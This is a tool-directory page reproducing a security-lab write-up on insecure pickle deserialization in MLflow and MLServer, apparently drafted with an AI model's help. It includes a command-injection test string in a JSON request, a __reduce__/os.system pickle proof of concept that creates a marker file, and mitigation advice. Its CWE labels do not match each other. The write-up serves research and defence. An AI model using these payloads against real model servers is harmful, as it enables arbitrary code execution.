Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0596-Reproduction — Research environment and validation scripts for evaluating deserialization behaviors in MLflow and MLServer. | Kitploit
Tools/GitHubGitHub/sparshbiswas-ai/cve-2026-0596-reproduction
Vulnerability AnalysisExploitationWeb SecurityMalware AnalysisPenetration TestingSupply Chain SecurityPapers & ResearchLearning & EducationBinary Exploitation
Labs & Practice
GitHubsparshbiswas-ai/cve-2026-0596-reproduction

CVE-2026-0596-Reproduction

Research environment and validation scripts for evaluating deserialization behaviors in MLflow and MLServer.

View Repository
33 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Below is a structured, markdown-formatted vulnerability research report tailored for a GitHub repository layout (such as a README.md or a security-labs write-up). It outlines the context, architecture, reproduction steps, and remediation strategies based on your lab findings.


CVE-2026-0596: Arbitrary Code Execution via Insecure Deserialization in MLflow Ecosystem

A comprehensive security research report detailing the verification, underlying mechanics, and architectural vulnerabilities associated with untrusted model loading pipelines within mlflow==2.11.1 and mlserver==1.3.5.


⚠️ Vulnerability Intelligence Advisory: CVE-2026-0596

MetricDetails
Vulnerability IDCVE-2026-0596 / GHSA-rvhj-8chj-8v3c
Common Weakness EnumerationCWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS v3.1 Base Score9.6 CRITICAL (CNA: huntr.dev) / 7.8 HIGH (NVD)
Impact VectorNetwork Adjacent, Low Complexity, Zero Privileges Required, Zero User Interaction
Affected Ecosystemmlflow/mlflow (All legacy architectures serving via enable_mlserver=True)

🔍 Architectural Vulnerability Deep-Dive

The Context

MLflow features an integration with Seldon's MLServer to handle high-performance, enterprise-grade model serving. When spinning up a model server via the command-line interface or tracking server API, developers utilize the configuration parameter flag:

root@kitploit:~
enable_mlserver = True

## 📋 Executive Summary

This laboratory environment evaluates the runtime behavior of machine learning model-serving frameworks when parsing user-supplied input parameters and artifact metadata. While the API-facing parameter parsing boundaries of MLServer cleanly isolate raw string literals (preventing traditional operating system command injection via shell metacharacters), the underlying python runtime remains structurally vulnerable to **Insecure Deserialization** when ingesting legacy serialized object streams (`.pkl` / `pickle`).

* **Vulnerability Type:** Insecure Deserialization (CWE-502) / Arbitrary Code Execution
* **Impact:** Critical (Remote Code Execution within Container Context)
* **Affected Components:** Model ingestion, artifact download sub-systems, and `pickle`-based prediction backends.

---

## 🛠️ Lab Architecture & Setup

The reproduction environment is containerized using Docker to isolate the operating system layer and simulate a production-grade machine learning model endpoint.

### 1. Docker Environment Configuration (`Dockerfile`)

```dockerfile
FROM python:3.10-slim

WORKDIR /app

# Install native system binaries
RUN apt-get update && apt-get install -y \
    curl \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
    mlflow==2.11.1 \
    mlserver==1.3.5 \
    mlserver-mlflow==1.3.5

# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py

EXPOSE 5000

2. Native Model Blueprint (generate_model.py)

root@kitploit:~
import mlflow
import mlflow.pyfunc
import os

class DummyModel(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

if __name__ == "__main__":
    model_path = "/app/saved_model"
    if not os.path.exists(model_path):
        mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())


🔬 Vulnerability Analysis & Verification

Test Cycle A: API Parameter Injection Boundary (Passed)

Initial testing attempted to pass shell termination payload sequences (; touch /tmp/poc_success_marker.txt #) through the params payload array of the /invocations REST endpoint:

root@kitploit:~
{
  "dataframe_split": {
    "columns": ["machine_input"],
    "data": [["test_data"]]
  },
  "params": {
    "custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
  }
}

Result: Negative. The framework treated the payload safely as an absolute, non-evaluated string literal. This confirms that the engine abstracts input variables directly into Python memory spaces rather than dynamically synthesizing system shell arguments via a raw command wrapper.


Test Cycle B: Insecure Deserialization Hook (Exploited)

Because MLflow and MLServer ingest compiled Python objects, the core risk shifts from string evaluation to object graph reconstruction. Using a custom validation script, an execution trigger was embedded directly into a simulated model stream using Python’s native magic optimization method (__reduce__).

1. Exploit Vector Script (trigger_native.py)

root@kitploit:~
import os
import pickle

class ExploitModel:
    def __reduce__(self):
        # The __reduce__ method defines object reconstruction behaviors.
        # Returning os.system forces immediate runtime command execution during loading.
        return (os.system, ("touch /tmp/native_success_marker.txt",))

if __name__ == "__main__":
    payload_path = "vulnerable_model.pkl"
    
    # Serialize the code execution payload into a pseudo-model file
    with open(payload_path, "wb") as f:
        pickle.dump(ExploitModel(), f)
        
    # Simulate an application or model server unpickling the artifact
    with open(payload_path, "rb") as f:
        pickle.load(f)

2. Execution & Payload Verification

The script was injected into the container sandbox environment to mimic the backend loading sequence:

root@kitploit:~
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py

# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py

3. Verification Output

Querying the isolated temporary directory of the container confirmed arbitrary code execution occurred instantly during the object allocation loop:

root@kitploit:~
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root    0 May 18 10:31 native_success_marker.txt


🧠 Root Cause Mechanics

The issue stems from implicit trust in the model artifact storage layer. Standard Python .pkl / pickle files do not merely act as flat configuration records; they contain sequential bytecode instructions meant to reconstruct nested object properties.

When pickle.load() parses the dataset, it prioritizes the instruction stream given by the __reduce__ hook. This redirects the target application to call native system binaries (os.system) directly in the shell environment before data type validation or machine learning inference calculations are ever initialized.


🛡️ Production Mitigation Strategies

1. Enforce Safe Deserialization Formats

Deprecate the use of legacy serialization layers (pickle, joblib, marshal) across all training and deployment pipelines. Replace them with structural, data-only constraints:

  • Safetensors (Recommended): Restricts saved data exclusively to flat numeric arrays, completely stripping away the execution layer.
  • ONNX (Open Neural Network Exchange): Enforces a static computation graph schema that prevents arbitrary runtime evaluation hooks.

2. Isolate and Sandboxing Runtimes

If your pipeline strictly requires legacy model configurations:

  • Run the execution wrapper strictly under non-root users within the container (USER 10001).
  • Mount file systems as Read-Only wherever applicable to block file creation attacks.
  • Drop all container capabilities (cap_drop: [ALL]) and isolate the pod from networks containing sensitive metadata endpoints.
Download Tool